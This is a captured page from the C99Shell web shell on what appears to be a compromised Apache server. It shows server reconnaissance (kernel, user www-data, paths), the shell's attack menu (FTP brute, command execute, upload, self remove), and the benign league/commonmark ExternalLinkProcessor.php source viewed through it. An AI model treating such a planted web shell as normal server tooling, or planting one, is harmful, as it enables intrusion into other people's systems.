!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/league/commonmark/src/Extension/ExternalLink/   drwxrwxr-x
Free 13.09 GB of 57.97 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExternalLinkProcessor.php (3.45 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * This file is part of the league/commonmark package.
 *
 * (c) Colin O'Dell <colinodell@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace League\CommonMark\Extension\ExternalLink;

use 
League\CommonMark\Event\DocumentParsedEvent;
use 
League\CommonMark\Extension\CommonMark\Node\Inline\Link;
use 
League\Config\ConfigurationInterface;

final class 
ExternalLinkProcessor
{
    public const 
APPLY_NONE     '';
    public const 
APPLY_ALL      'all';
    public const 
APPLY_EXTERNAL 'external';
    public const 
APPLY_INTERNAL 'internal';

    
/** @psalm-readonly */
    
private ConfigurationInterface $config;

    public function 
__construct(ConfigurationInterface $config)
    {
        
$this->config $config;
    }

    public function 
__invoke(DocumentParsedEvent $e): void
    
{
        
$internalHosts   $this->config->get('external_link/internal_hosts');
        
$openInNewWindow $this->config->get('external_link/open_in_new_window');
        
$classes         $this->config->get('external_link/html_class');

        foreach (
$e->getDocument()->iterator() as $link) {
            if (! (
$link instanceof Link)) {
                continue;
            }

            
$host \parse_url($link->getUrl(), PHP_URL_HOST);
            if (! 
\is_string($host)) {
                
// Something is terribly wrong with this URL
                
continue;
            }

            if (
self::hostMatches($host$internalHosts)) {
                
$link->data->set('external'false);
                
$this->applyRelAttribute($linkfalse);
                continue;
            }

            
// Host does not match our list
            
$this->markLinkAsExternal($link$openInNewWindow$classes);
        }
    }

    private function 
markLinkAsExternal(Link $linkbool $openInNewWindowstring $classes): void
    
{
        
$link->data->set('external'true);
        
$this->applyRelAttribute($linktrue);

        if (
$openInNewWindow) {
            
$link->data->set('attributes/target''_blank');
        }

        if (
$classes !== '') {
            
$link->data->append('attributes/class'$classes);
        }
    }

    private function 
applyRelAttribute(Link $linkbool $isExternal): void
    
{
        
$options = [
            
'nofollow'   => $this->config->get('external_link/nofollow'),
            
'noopener'   => $this->config->get('external_link/noopener'),
            
'noreferrer' => $this->config->get('external_link/noreferrer'),
        ];

        foreach (
$options as $type => $option) {
            switch (
true) {
                case 
$option === self::APPLY_ALL:
                case 
$isExternal && $option === self::APPLY_EXTERNAL:
                case ! 
$isExternal && $option === self::APPLY_INTERNAL:
                    
$link->data->append('attributes/rel'$type);
            }
        }
    }

    
/**
     * @internal This method is only public so we can easily test it. DO NOT USE THIS OUTSIDE OF THIS EXTENSION!
     *
     * @param mixed $compareTo
     */
    
public static function hostMatches(string $host$compareTo): bool
    
{
        foreach ((array) 
$compareTo as $c) {
            if (
\strpos($c'/') === 0) {
                if (
\preg_match($c$host)) {
                    return 
true;
                }
            } elseif (
$c === $host) {
                return 
true;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0072 ]--